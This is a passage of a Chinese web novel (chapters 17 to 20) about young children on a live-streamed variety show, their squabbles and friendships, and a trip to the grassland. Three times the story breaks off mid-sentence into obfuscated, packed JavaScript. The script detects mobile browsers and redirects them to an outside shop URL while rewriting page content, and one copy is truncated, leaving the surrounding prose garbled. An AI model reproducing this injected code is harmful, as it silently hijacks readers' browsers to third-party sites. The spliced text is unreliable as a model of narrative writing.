“和我还有必要戴墨镜?”顾乾看回电脑屏幕,多问了句。 “就是因为和你才带的墨镜。” “...” Zev重新把手表拿回来,看着屏幕上挑衅的龇牙表情,以及上面一串被红色感叹号拦截在后的图片,从来没有被如此忤逆。 接着又来了一串语音,自动播放出来。 【小天哥哥对不起,不知怎么就不小心把你拉黑了。你生气了吗?】 声音在安静地屋子里格外清晰,顾乾又抬头看了一眼。 Zev若无其事地不理会。 【你要是实在生气,我下期就不出现了。但你别不让我吃饭可以吗?也不要怪两个哥哥,他们是很好的...】 粽粽碎碎念,充满纠结的小声音仿佛一杯温度正好的牛奶,在晚间听起来格外舒服。 没等顾乾再抬头,Zev忽然先发制人:“你总看什么?” 然后冷冷地把手表丢在一边。 装模作样了会儿,煞有介事地起身拿着手表离开。 顾乾看着那个疾走的背影,摇了摇头。 “宝宝,考虑好了吗?” 眼看时间将至,钱芷打着哈欠来问粽粽。 粽粽在床上烙饼似地翻了两圈,忽然趁火打劫:“麻麻,可以看一集动画片思考吗?” 他给自己播了两集《狮子王》,最后热血地站在沙发上,告诉妈妈自己的决定:“我要参加节目,拯救大家!” * “起床了粽粽。” 昨天的激情一去不返,粽粽躺在床上,抱着被子。 由于多看电视的缘故,向来作息规律的粽粽熬了会儿夜,今早没能顺利醒来。 导演和工作人员都已经站满了屋子,粽粽还在旁若无人地酣睡。 小小的一个摊在床上,眼睛紧闭,脸蛋贴着枕头,任凭别人怎么叫他。 钱芷和凌逸飞已经回避了镜头,一众陌生人架着机器围观着,到点准时开播。 【好久不见崽们】 【一日不见如隔三秋】 【怎么今天从床上开始,还有一个小粽粽】 【嘿嘿嘿,熟睡的粽粽】 【他好像一个小玩偶,好想捏捏他】 【永远叫不醒一个熟睡的粽粽】 眼看约好的会合时间将过,情急之下导演亲自上手,把粽粽从温暖的被窝里拔出来,双手卡在咯吱窝,举了起来。 粽粽这才一皱眉,不满地睁开双眼。 和大胡子导演面面相觑:“,,,,,,” 好可怕的噩梦! 粽粽一瘪嘴,眼看就要哇哇大哭起来,导演打断施法。 “今天请你们吃好吃的。” 粽粽沉浸在自己的情绪中,眼泪蓄势待发。 “烤全羊。”导演补充。 粽粽微微一愣,水汪汪的眼睛凝视导演。 “真的烤全羊,今天出发去草原旅游。你可以骑马哦。” 旁边的漂亮姐姐补充:“还可以吃大盘鸡,手抓饭,喝奶茶。” 粽粽擦了把眼睛:“走吧。请把我放下来。” 导演把他放在地上。 【贪吃粽粽】 【粽粽:早说啊不赖床了】 【粽:烤全羊在哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16142763|180439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,请立刻带我去】 接上洗漱好的粽粽,一行人又来到了Zev家。 与方才截然不同,Zev此刻已经穿戴得体,戴上了新的高定墨镜,淡定地坐在沙发上喝着凉白开。 粽粽跟着人群悄悄挤进房里,挪动到Zev旁边。 “小天哥哥,早上好!” Zev并未转头。 “小天哥哥我错了,不该把你拉黑的。” 趁着大人们互相交谈寒暄的当儿,粽粽爬上沙发,坐在Zev旁边。 他刚刚洗过脸,依然带着宝宝面霜的清香。因为对烤全羊的憧憬而闪亮的大眼睛波光潋滟,在路上啃了块饼的嘴唇红红。 非常标志的棉花团形象,谁见了都想捏两把。 粽粽精神头不错:“那天我太困了,想要睡觉,其实你拍的照片都特别好看,我每张都想点赞来着。” “小虎是谁?”Zev开口,“愚蠢的名字。” 粽粽有点不高兴,心说你叫顾傲天都没人嘲笑你。 “小虎哥哥是我的好朋友,他可好了。小天哥哥,你都没有见过他,这样评价有点不好。” Zev刚刚回转的角度清零,重新背过身,冷哼一声。 【他俩闹矛盾了?】 【小虎的介入,让这段刚刚萌发的友情幼苗遭遇了深重危机】 【粽粽还怪好的,为小虎说话呢】 【Zev:big胆!】 【触到Zev的逆鳞了】 【Zev:你敢忤逆朕】 这下再也哄不好了,即便粽粽说得口干舌燥,Zev也没有理会分毫。 恰好外面门一开,邵晚熠到了。 黑色衬衫搭了件烟灰色外套,腕上一块深蓝色表盘的腕表,头发烫了造型,各处熨帖的细节都显得恰到好处。 他一来就恰好先看到沙发上两个崽,一抬手把粽粽抱起来:“小棉花团。” 掂起来肉嘟嘟的,邵晚熠觉得挺可爱。 忽然腾空而起的粽粽挣扎两下,忽然不动了,呆呆地望着邵晚熠那双含笑的桃花眼,眉毛也浓淡适宜,赏心悦目。 “放下。”Zev忽然出声。 邵晚熠把粽粽朝上颠了下,挪到单手抱着,居高临下地看着Zev:“就不放。” Zev拧起小眉头。 “你好像愤怒的小鸟。”邵晚熠甚至伸手想摸一下Zev的脸,又问粽粽,“你们还流行愤怒的小鸟吗?玩没玩过,里面有个戴墨镜的小红鸟和他一摸一...” 忽然闭嘴,悄摸看眼顾乾,对方没朝这边看,才放下心。 【笑死了,趁别人不在欺负人家弟弟是吧】 【这可给我们Zev气坏了】 【光气不哄,最后还得粽粽出场】 但Zev抬起头,冷静道:“我不会欢迎你在节目之外的任何时间走进我的家门。” 邵晚熠笑容一滞。 “你要说开玩笑的。”看热闹的粽粽提醒邵晚熠。 “开玩笑的。”邵晚熠说道。 Zev冷淡:“不原谅。” “就是啊,那个比喻有点过分。”粽粽点头。 “叽咕啥,你哪边的?”邵晚熠看着怀里的粽粽,把他放下。 重获自由的粽粽坚定抱大腿:“小天哥哥这边。” “嗯。” Zev不咸不淡。 18. 第 18 章 过了不久,盛坻和林雪客也顺利赶到,和粽粽会和。 “哥哥们!”粽粽热情打招呼,几日不见甚是想念。 盛坻依然是挺有活力的栗色头发,应该是又补染了一次,饱和度高了点。 林雪客的淡蓝色头发里掺了点灰,更加雾蒙蒙的。 被抱起来的粽粽对两人的头发十分好奇,大眼睛认真观察。 “好像重了点。”盛坻试试手感,直言不讳。 粽粽被这种直白微微中伤,辩解道:“我没有重,每天都有称体重。最近没有吃很多零食,每天都在运动。” “是你盛坻哥哥缺乏锻炼。”林雪客打圆场,“我们粽粽这么小一个,能重到哪里去。” 【低情商发言】 【粽粽不是实心的粽粽,软软的】 【只是婴儿肥而已】 盛坻及时纠正,摸摸粽粽:“错怪你了,非常抱歉。” “没关系。”粽粽依然宽容大度。 他对两位哥哥的关系一直担忧着,再次趁无人时悄悄询问盛坻:“哥哥,你们现在什么关系?” 眼里充满好奇与担忧。 “少冲点浪。”盛坻顺口说道。 公司有意引导他们炒CP,不止这档综艺,就连这周参加活动被粉丝拍的几组照片也意外登上热搜,现在他俩CP粉人数大增。 随手点开软件都能刷到,在盛坻眼里粽粽也是个因为网上冲浪而好奇的小狗仔。 粽粽没有听明白。 于是又寻觅时机,悄悄去问林雪客:“哥哥,你和板栗哥哥关系好吗?” 林雪客看看粽粽,竟然没回答。 粽粽的心一点一点下沉,难道反目的结局无可避免吗。 可是他对两个大哥哥都很喜欢,要是这样的话他实在感到难以抉择。 粽粽带着满腔心事离开Zev家,又和众人一起前往成深野的家里。 他在人群里也不太看得到路,又有心事,没注意到前面吵吵嚷嚷在说话。 “还没起来吗?” 先行部队忽然停住脚步,粽粽一脑门磕在前面人的腿上。 一边捂脑袋,一边抬头看发生了什么。 从零星的话语中获取信息,向来沉着冷静的成深野竟然拒绝参加节目。 “怎么会这样呢?”粽粽发表一句吃瓜感言,但由于高度问题并没有被理会。 唯一一个和他相同高度的Zev对此并不关心,站在一边沉默。 粽粽便从别人的腿间朝前挤,自己探索真相。 原来是成深野将自己反锁在房间里,成深野的父亲脸上还带着尚未退去的怒容。即便看到导演之后露出社交礼貌的笑容,但似乎觉得很没面子,捶了一下成深野的房门。 “没事,不急。”导演打圆场,“可能还没准备好,一会儿就出来了。” 但虽然这么说着,直播的镜头一直在运作,大家左等右等,时间一分一秒地过去。 【我们的特儿咋了】 【成铭不能和人家好好说嘛,看起来有点凶】 【看不出来,平常镜头前还挺温文尔雅的一个人】 申茉给每个人都倒了茶水,看了看Zev和粽粽,给他们换了个小杯子,倒了橙汁。 “谢谢姐姐。”粽粽端起来。 “你好可爱。”申茉捏捏粽粽的脸,也有些担忧地看向紧闭的房门。 成铭手里拿着茶杯,反复放下端起,心不在焉地和导演聊天。 终于,不知重复多少次,“啪”地把茶杯撂下。 拿出手机就要打开锁电话:“今天非把这个锁给他撬开,反了天了。” 导演和其他大人稍微拦着劝了劝,粽粽的视角只看到一群人聚在一起,不知道忙活啥。 在吵吵闹闹的氛围里,他趁Zev不注意跳下沙发,来到那扇紧闭的房门前,好奇观察。 试探敲敲门,低声说:“特儿,我是粽粽。” 无人理会。 “我真的是粽粽,开下门吧。”粽粽重复自己的身份。 这回终于得到了成深野的回答:“粽粽更不开。” 粽粽:“......” “我有点伤心了,特儿。” 虽然成深野是未来的反派,粽粽需要在Zev面前和他划清界限。但粽粽这人一向古道热肠,积极对待身边每一个人。 “我走了。” 在他转身欲离开之时,门锁“啪嗒”一声,没来得及反应,就被拉了进去,门重新关上。 完全没反应过来的粽粽懵逼地看着眼前的成深野,又缓缓回头,看了下门。 “你把我关里面干啥呀特儿。” “不是你要进来?” 成深野重新到窗边,成为一个忧郁的雕塑。 粽粽打量着特儿。对方已经穿戴整齐,依然是一件小风衣,头发似乎被特意吹了吹,还挺时尚。 他走到窗下,仰起脑袋:“你怎么了呀特儿。” “不想去。”特儿淡淡,又补了句原因,“今天出发之前,我爸妈又让我让着Zev。” “你之前也没让着他呀。”粽粽提醒。 莫名来到别人房间里的粽粽感到挺拘束,站在脚下的瓷砖上不敢动。 还是抬头望了望,这里并不比Zev的房间小多少,也是大得累人,看上去走一圈就需要比较多的体力。 不过宽敞有宽敞的好,说不准也能打造一个秋千。 成深野看着粽粽:“那不一样。” “你在这里把自己关着也没有用呀。现状无法改变,我们要积极地面对,勇敢的人才可以成为生活的主人。” 粽粽把自己的宝贵语录分享给成深野。 手捏成一个小小的拳头,目光坚定。 “比如我,在遇到困难的时候就是这样。”他用自己举例子,微微抬起头。 谁知一直都不怎么说话的成深野偏偏在这个时候说话:“比如遇到Zev那只狗的时候?” 这段时间网上常有些小片段和回放,成深野略略有所观。 因为粽粽嚎啕大哭起来实在太有标志性,本来脸就圆圆的,再仰脸把嘴巴也张得圆圆的,就像数学题里的大圆套小圆题型。 粽粽的表情和动作停住,有点生气地看着成深野。 狗咬吕洞宾。农夫与蛇。粽粽与特儿。 成深野一笑,想了一会儿,开门走出去。 粽粽在原地缓了好阵子,才也出去,外面已经风平浪静,大家都若无其事地收拾着准备出发。 他默默跟上。 一路倒腾着小腿,来到大巴车上。 其他组基本上都待在一块,只有Zev独自坐了新的一排,旁边有个空位。于是粽粽礼貌问:“可以坐这里吗小天哥哥。” “随便。” 粽粽落座。 导演举起喇叭:“好了,我们上期的四位小朋友已经到齐,接下来就请新加入的素人小朋友登场。” 这是之前早就有过预告的,本期将会有新成员加入,和大家共赴草原。 话音落下,随着车门的打开,一个小小的新成员出现在门口。 “小虎哥哥!”粽粽第一个反应过来,简直不敢相信自己的眼睛。 小虎也是个素人小网红,因为虎头虎脑的长相而深受观众喜爱,人气挺高。 因为两人住在同一个城市,家长机缘巧合互相走访过一次,他们就此结识。 粽粽非常喜欢这个看起来像只动画片里小龙虎的小伙伴,有空会约着一起玩耍。 没想到小虎哥哥来陪自己一起参加节目,这让偶尔感到孤单的粽粽喜出望外。 他飞快地离开座位跑过去,抱住了小虎。 【好家伙,他乡遇故知】 【小粽粽的交际圈】 【交际粽】 【谁能截一下Zev的表情,好搞笑】 【他俩拥抱,Zev看起来有点生气】 【用目光杀死小虎】 粽粽沉浸在快乐之中,忘却一切。 “你怎么没有早和我说呀。”两人几天前还一起玩了一回。 “我妈妈昨天才告诉我,也不知道你在这里。” 小虎挨个和大家见面打招呼,轮到Zev时,小虎热情微笑:“你好。” Zev抱臂,从上到下打量着小虎。 目光又落在小虎和粽粽挨着的胳膊,不发一言。 被顾乾在后脑勺上轻拍了下,才点点头。 粽粽就给Zev介绍:“小天哥哥,这就是我和你说的小虎哥哥,他人可好了。而且还会打羽毛球,打得特别厉害,还参加过比赛呢。” Zev隔着墨镜凝视粽粽。 粽粽没多留意,又给小虎介绍Zev:“小虎哥哥,这是小天哥哥,他...他也可好了。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16142764|180439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ...呃,很善良,还很大方。” 【对比起来有点苍白了小粽粽】 【为何结巴】 【粽粽已经充分发挥高情商了】 大巴车即将发车,粽粽回到自己的位置上。 调整到舒适的坐姿,准备小憩一会儿。 “怎么不和他坐?”忽然,Zev冷冷。 “和谁呀?”粽粽问。 “你的小虎。” “为什么要换,我先坐的是这里。” “可是你和他关系更好。”Zev看向窗外。 粽粽发现某个角度来说Zev和顾乾的轮廓还真有点像,线条看起来就挺赏心悦目的,像精心描摹出来的素描作品。 他对这个新发现感到新奇,因为一直都没有看到过Zev摘下墨镜的摸样,对“顾乾的弟弟”没什么实感。 “我和你也是好朋友,小天哥哥,我们都互相分享过零食了。” Zev不语,在粽粽即将进入梦乡的时候,忽然状似不经意地问:“和小虎比呢?” 粽粽睁开一点眼睛,话在嘴边并未说出。 【粽粽的沉默令人心碎】 【好像一个偶像剧】 【如果小天和小虎同时掉进水里,粽粽会先救谁】 【至今依然无人知道为什么Zev叫小天】 粽粽没有做出回答,这让Zev继续后脑勺朝向他。 * 一路颠簸,节目组的飞机终于抵达目的地机场。 导演宣布:“各位,坐上这趟大巴车,大家将直抵草原。相信小朋友们的心情格外激动,首先我们依然要进行分组,以两到三个小朋友为单位进行活动,自由组合。” 又多补充了句:“大人不要干涉。” 这些大人肯定想和顾乾他们一组,会破坏纯真的氛围。 小虎性格随和,经过这段路程,和除了Zev以外的其他小朋友都熟了个七七八八,不过还是和粽粽最好。 刚下飞机,小虎就来找粽粽:“你待会儿和我一组吗?” 小月亮路过,也参加讨论:“怎么分都行,我也挺期待和小虎一组。” 成深野跟在后面过来:“小虎你怎么提前把粽粽预定了。” “我和粽粽更熟悉些。”小虎笑道。 他们三个逐渐形成了一个小团。 粽粽正欲回答,忽然身后一空,转头看到了Zev的背影。 Zev选择独自前行。 邵晚熠余光瞥见,和顾乾笑道:“你弟弟过去了。” 他跟着走过去,拉住Zev的帽子。 Zev冷漠:“放开。” “小棉花团的老朋友来了?”邵晚熠碰了下Zev的头发,在对方甩开前放手,揣回口袋,“早和你说了要把握住机会,现在迟了吧。” “走开。”Zev头也不回。 “没事儿,哥哥和你一组。” “不用。” 【可怜的Zev】 【Zev继续心里默念:弱者成群结队,强者结伴同行】 【好冷傲的小背影】 “那你一直一个人,游戏怎么玩?” “不玩,无聊。” 邵晚熠面对顾乾挺怂,但逮住顾乾的这个三岁弟弟就是一顿逗。 刚刚头发手感还挺好的,看到紧绷的小脸也觉得手痒,什么时候能找到机会也捏一下。 Zev停住脚步:“你没有自己的事情做吗?” “我的事情?”邵晚熠眯起眼睛思考一下,“还真有。要是你不理我,我去找你哥玩。” Zev彻底无语,本来不好的心情雪上加霜,继续闷头前行。 邵晚熠在一旁说道:“别伤心了。人生就是这样,来来去去,错过的抓不住,主动的人才能享受世界,被动等着永远只有错过,这点我深有体会。不过我还是想说一句,我早就告诉过你...” Zev抬手准备堵耳朵。 忽然,一阵哒哒的脚步声从后面传来,两人回过头。 是粽粽。 只见粽粽额头上带着汗珠,喘着气:“小天哥哥你怎么走的这么快,我和你一组呢。” 邵晚熠和Zev都停住。 邵晚熠十分不解:“小虎不是主动邀请你了吗?” “对呀。”粽粽擦擦汗,“但是他有很多人可以选,小天哥哥更需要我。” 19. 第 19 章 【天,粽粽是天使吗?】 【妈呀,我要是Zev可以把这个场景记一辈子】 【我也想被这样选择】 【粽粽的魅力无人能敌】 对粽粽来说只是一件稀松平常的事情,平常他们玩耍的时候也会考虑到每个人的感受。 但是Zev看了他比平常多了一些时间,才“嗯”一声。 又稍稍挑眉,仰起脸轻蔑地瞥邵晚熠一眼,和粽粽肩并肩离开。 “像个骄傲的小公鸡。”邵晚熠看着背影补了句,“运气这么好。” 大巴车向前疾驰,进入美丽的大草原。 现在已经是深秋,草原上的草并不像图片里那样绿油油,不过也别有一番风味。 略显稀疏的草丛随风轻晃,草尖泛着偏褐的黄。 远方真的有奔驰的骏马还有吃草的牛,仿佛动画片里的场景变成了现实。 “哇!” 认真观看的Zev忽然听到近旁传来一声惊叹,转过脸,才发现粽粽不知什么时候站在他旁边,脸蛋几乎要挨上他。 看起来软软的,带着热气,很多大人都喜欢捏来捏去。 除此之外,一双如同湖泊的大眼睛里倒映着窗外的景致,正努力地朝窗户趴着身子,十分入迷。 Zev便离开自己的座位,坐到了粽粽的位置上。 粽粽看着看着,不知过了多久,才发现自己竟然不知什么时候坐下来了。 “......” 他转头看了看Zev:“你和我换位置了吗?” “不然?”Zev面无表情。 粽粽想想也是,总不能瞬移。 “谢谢你,小天哥哥。” “不必。” 在大家的期盼中,导演终于拿起喇叭,宣布目的地已到,可以下车。 粽粽跟着人群跑下去,看着高高的草,有种在上面打滚的冲动,可以从这头滚到那一头,肯定非常自由。 草原上的风把他的刘海掀起,露出光洁的额头和眉目。 【!粽粽的五官好好看啊】 【就是现在还有婴儿肥,稍微长大点绝对惊艳】 【摸摸】 导演把大家汇集起来,举起喇叭:“各位,我们已经来到了美丽的大草原。在进行大家非常感兴趣的选住处环节之前,还有一个神秘礼物。” 后头五个工作人员走过来,每人怀里抱着个箱子,上面盖着厚厚的绒布。 “哪位小朋友最勇敢,可以来揭开这块布。” 其他人大多对这都不屑一顾,只有粽粽听到“勇敢”这个词,便立刻挺直腰板。 之前他会压抑自己的兴趣,努力装作若无其事,但今天小虎哥哥来了,粽粽就举起手,想竞选一下这个荣誉称号。 回头一看,竟然只有他一个人举手。 “……” 粽粽因为参与人数的优势而获胜,起身前往揭幕。 绒布非常神秘,遮盖住了所有可能的角度,从外观完全看不出端倪。 粽粽细心观察几个角度,才谨慎地伸出小手,揭开。 “哇。” 只见里面是一头小小的羊幼崽,通身雪白,角都没有长出来,只有两个软软的角。 粽粽伸手摸了下,小羊顶了顶他的手。 他又去挨个打开剩下的几个,非常利落,配得上勇敢者称号。 “好了,感谢粽粽。”导演说,“接下来请各位认领自己的小羊,在草原上的几天就由大家照料。三天后,增长体重最多者胜利。” 大家开始对小羊精挑细选,希望能够选择到胃口最佳,最有潜力的小羊。 粽粽潜心观察,双手扶住膝盖,脑袋低下来看小羊的嘴,忽然感到一轻。 整个人腾空而起,回头望望,看到邵晚熠。邵晚熠正夹着粽粽,掂着重量:“能选这个吗?” “…哥哥你好幼稚。”粽粽沉默。 【白白胖胖的粽粽羊】 【粽粽都觉得幼稚,那是真幼稚了】 【笑鼠】 邵晚熠若无其事地把粽粽放下。 粽粽继续挑选,捏捏这个,捏捏那个,最后终于选中了一只很有潜力的羊,相信它一定能够茁壮成长。 导演补充:“一会儿会发放喂养手册给大家,大家一定不能喂小羊不能吃的食物。如有发现,将取消参赛资格。” “去挑一只。”顾乾对Zev说。 “不。” 五只羊里就剩下一只还没有主人,竟然从箱子里一跃而出,跌跌撞撞地奔向Zev。 Zev伸出手,掌心向前,做出制止的举动。 “停。” 小羊不曾理会,继续前行,原本长两个角的地方软软地贴在Zev的手心。 非常神秘的触感,让Zev低头看了会儿。 “牵着吧。”顾乾把绳子交到他手里。 Zev握着一端放在口袋里揣了会儿,小羊左拽右拽,让他也不得不跟着左右摇晃,于是皱皱眉头,上前两步,悄悄把绳子塞进邵晚熠的口袋里,然后默默走开。 【好家伙,Zev暗度陈仓】 【Zev:把两个讨厌的家伙栓到一起】 【邪恶Zev】 邵晚熠倒是欣然接受,不紧不慢地拽着绳子,和他气质还挺搭。 “小朋友们,接下来要选房子了。”导演说道。 “上期获胜的是小月亮,她将获得优先选择权,剩下的小朋友可以通过抓阄来抉择。” “这么草率。”成深野吐槽。 “运气也是实力的一部分。”小虎告诉他。 成深野有些沉默地看了他一眼,似乎知道粽粽和他为什么能玩到一起去了。 导演先给大家展示可以住的房子。 第一个照例是超级豪华版。 是个外观巨大的蒙古包,里面的设施也都是最好的,比如雕着花的墙壁,柔软舒适的大床,富有特色的装饰,全都趋于完美。 第二个则稍微逊色一些,没有那么多花样,不过也挺宽敞。 后面几个就一个比一个小,最后一张图出来的时候,所有人都难以置信。 “这是帐篷吧。”小月亮提醒。 导演神秘笑道:“没错,这就是一顶超级豪华大帐篷。” 图上帐篷孤零零地在草原中央,仿佛风雨飘摇。 “真的不会被牛和马吃掉吗?”粽粽十分担忧。 他并不害怕简陋的房子,但如果是这种安全系数不保的地方,还是排斥的。 “不一定。”导演回答。 粽粽:“......” 【怎么办,粽粽看起来白白胖胖很好吃】 【导演:专吃肉乎乎的小朋友哦】 【哈哈哈哈粽粽真的在害怕欸】 小月亮依靠上期的胜利,成功获得最豪华版,剩下的小朋友命运则尚未抉择。 “快抽吧。” 工作人员端上来一个花样漂亮的漆盆,里面放着一截截骨头似的东西。 这是具有当地特色的抓阄。 粽粽默默祈祷,闭起眼睛从中抽取一个。 “不要是帐篷不要是帐篷,板栗哥哥帮我看看是帐篷吗?” 盛坻拿过来看了一眼,告知他:“是的。” “......” 粽粽睁开眼睛,难以置信地确认了一次又一次。 这几率也太离谱了。 小虎邀请:“粽粽,要不你和我一起住吧。” 小虎将由两个工作人员陪伴一起住,但他抽到的也比较小,无法容纳另外三个人。 粽粽看了看两个哥哥,犹豫再三,决定:“我还是留下来吧,一起面对。” 万一两个哥哥因为住在小小的帐篷里而反目成仇就不太好了,需要粽粽在其中调和。 除了小虎之外,成深野和Zev的房间就大些,再摆一张床也是没什么问题的。 成深野也挺自然地邀请了一下。 粽粽有点怕特儿的爸爸,今天在屋里发火的场景依然印刻在他幼小的脑海中,也能感觉到对方似乎不大待见他和两位哥哥,待在一个屋檐下不合适。 摇摇头。 导演已经把帐篷拿了出来,比想象中还要小一些,一块简陋的布,无法抵挡住任何一种野兽的袭击。 原本兴致挺高的粽粽感受到了危险,默默抱住盛坻的腿。 盛坻在他脑袋上按按:“没事,我保护你。” “你也打不过的。马比你还高。” “还有我,我俩一起保护你。”林雪客也说。 三人头上仿佛笼罩着深重的乌云,看这氛围都要准备同归于尽。 邵晚熠抖了抖绳子,让手里牵着的小羊去顶了顶Zev的小腰。 Zev回过头,邵晚熠朝他努努嘴。 “你去说。”Zev淡淡。 邵晚熠转身道:“粽粽,Zev想邀请你和我们一起住,我们抽到第二大的房子。” Zev深拧眉,当即本能否认:“没有。” 于是就看到粽粽眼里亮起的光又逐渐熄灭:“不用了大哥哥,我自己住帐篷就行。” 他撅起小屁股,艰难地帮助盛坻和林雪客一起大帐篷,一阵狂风吹来,还晃了两晃。 闻者落泪,见者悲伤。 邵晚熠瞅一眼Zev,充满谴责。 “再说一次。”Zev和邵晚熠说。 “不说了。”邵晚熠罢工,牵着羊走远吃草去了。 “你说。”Zev把目光投向唯一在这里的顾乾。 顾乾低头看他一眼,没什么表情。 但意思也很明确,就差把“可能吗”三个字写在脸上了。 【笑死,靠顾乾不如靠自己】35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16142765|180439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 【我们Zev真是个要面小崽,面子大过天】 【一看就是和他哥哥学的】 Zev只得自己揣着兜,酷酷地走到和粽粽平行处。 但粽粽投入地干活,并未理会他。为了埋一个帐篷钉,还跑到了相反方向。 Zev也酷酷地来到另一方向。 粽粽正挥汗如雨,一道阴影再次笼罩在他脑门上,抬头一看,Zev挡在他面前。 擦擦汗:“小天哥哥,你让一下可以吗?我要把这个钉子埋进去。” “今天可以一起住。”Zev通知他。 粽粽品味了一下他的意思,感到有点意外:“小天哥哥,你在邀请我晚上和你们一块住吗?” Zev并不希望把有些话的意思过于直白地翻译出来,并不言语。 不过粽粽的眼神过于热烈,Zev还是微微点头。 粽粽高兴地很纯粹:“那太好了。” 牵着羊绕了一圈回到此处的邵晚熠目睹了这个happy ending,也挺高兴。 “Zev就是不好意思说,其实他心里...” “走开。”Zev冷淡打断。 邵晚熠耸耸肩,又牵着羊再去溜达一圈。 于是粽粽三人成功入住Zev抽到的第二大蒙古包,里面的空间非常开阔,正好有两张床。 粽粽是高兴了,盛坻和林雪客非常紧张,没想到就这么和邵晚熠还有顾乾住到了同一屋檐下。 他们的粉丝数和人气度至少比人家少了一位数。 别人强求都求不来,就靠着粽粽得到实现。 两人也没闲着,把两张床铺都整理一遍,然后局促地坐在凳子上,局促地对视。 最后起身:“要不我俩还是住帐篷去,粽粽你自己待在这里吧。” “为啥呀。”粽粽对这些完全不理解,“帐篷真的会被吹走的。而且如果下雨打雷,第一个劈中帐篷呢,好危险。 粽粽的生活美好而快乐,他非常惜命。 邵晚熠也开口:“留下吧,没关系的。上回顾老师把你从陷阱里抱出来,都这么熟了,还介意什么。” 正在收拾东西的顾乾放下手里的事情,抬头看着邵晚熠:“记这么久。” 语气不咸不淡。 邵晚熠笑笑;“没办法,记性好,不像某些人忘得快。我还能记得好几年前的事情,要不要说给你听。” 【说说说。】 【我想听啊,几年前到底发生了什么】 【吃瓜。】 【这要是说出来那热度不止翻两番】 他俩即使敢说,林雪客和盛坻也不敢在这里听。 找了个借口,便匆匆出去。 小粽粽还不知道自己被落下了,站在两人中间,饶有兴致地仰起脑袋:“什么事呀。” 盛坻又匆匆回来,说了句“不好意思”,把粽粽也端走了。 粽粽还一头雾水,不过端出去之后满眼都是非常新奇的景象,也暂时把其他事情抛之脑后。 他下了地,四处参观一番。 直到导演重新举起喇叭,把大家汇集在草原的空地上。 “大朋友们和小朋友们,接下来的时间可以稍作休息或者自行在草原上探索,我们今晚七点准时开始篝火晚会,会有很多当地的蒙古族人民一起玩耍,请准时抵达。” 光听到前面这句,小朋友已经商议开了。 粽粽去找小虎:“小虎哥哥,那里有好多马,我们待会儿过去看看吧。” “那我也去。”小月亮响应了这个活动,拉着成深野,“一起吧?” 成深野点头。 粽粽思考一下,问Zev:“小天哥哥,你也一块去吧?” 正好Zev心烦,不想和顾乾还有邵晚熠待在同一屋檐下,这次竟然没怎么矜持,就答应了。 “嗯。” 粽粽都没反应过来,还在劝着:“你就去吧,一起玩好吗?” “行。” “你不去的话我很孤单,小天哥哥。” “我去。” 【给我们Zev逼得多说了一个字】 【人机小粽粽】 【粽粽:今天的程序怎么和以前不一样】 【粽粽每回都得三顾茅庐】 “太好了,小天哥哥同意去了。”粽粽的喜悦并未减少。 于是在导演介绍完一些内容之后,他们就结伴踏上路程。 Zev在粽粽前面走。 爬坡相当吃力,地上的草又增大了摩擦力,粽粽走着走着又感到劳累,再次习惯性地伸出手,塞到了前面人的手里。 Zev第二次感受到软绵绵暖洋洋的东西,已经见怪不怪,倒是稍微朝旁边的小虎瞄了一眼。 又转脸低下头,看到粽粽有且仅有一只手被牵着,还是放在自己手里。 比较满意。 20. 第 20 章 粽粽随机把手塞到前面的幸运路人手里,走了好一阵儿,终于来到平地。 他高兴地抽出手,向小马奔跑而去。 【粽粽跑起来还是很快的,这小腿扑腾】 【潜力无穷,至今依然记得Zev在森林里放手那一段】 【主观意志上的懒惰】 【只有Zev能够挖掘他的潜力】 粽粽跑到一半,被放马的叔叔拦截。 “小朋友,这是很危险的。你看你这么小,还没有马的膝盖高,被踢一下不知飞多远呢。” 放马的蒙古汉子绘声绘色地描述着,仿佛粽粽已经在空中飞了。 粽粽:“......” 为了安全起见,他只得停留在原地观察。 小虎安慰他:“没事的粽粽,到时候回家我带你去那边的赛马场,可以随便看。就是人有点多,不一定能排上号。” 说着自然又熟悉地拍了拍粽粽的小肩膀,非常可靠。 “哇,谢谢你小虎哥哥。”粽粽很容易高兴,“那我们一回去就排号吧,总有一天能去的。” “就是不知道能去的那天我们还有空不,别又忽然有事。”小虎想到这一层,有些忧心忡忡。 他眉头皱起来,隐约像个“王”字。 粽粽被他的担忧感染:“那就多约几次,总会有的吧。” 小虎比他还忙些,会参加一些综艺节目和拍戏,约不约得上纯靠运气。 淡淡的乌云笼罩了他们,投射出小小的阴影。 Zev站在旁边,忽然开口道:“我家有。” 他家有个挺大的私人马场,刚回国的时候顾乾带他去看过,但Zev当时并不感兴趣。 “一个马场。很多马,随便骑。” 冷不丁这么一句话,把粽粽和小虎都打断了。 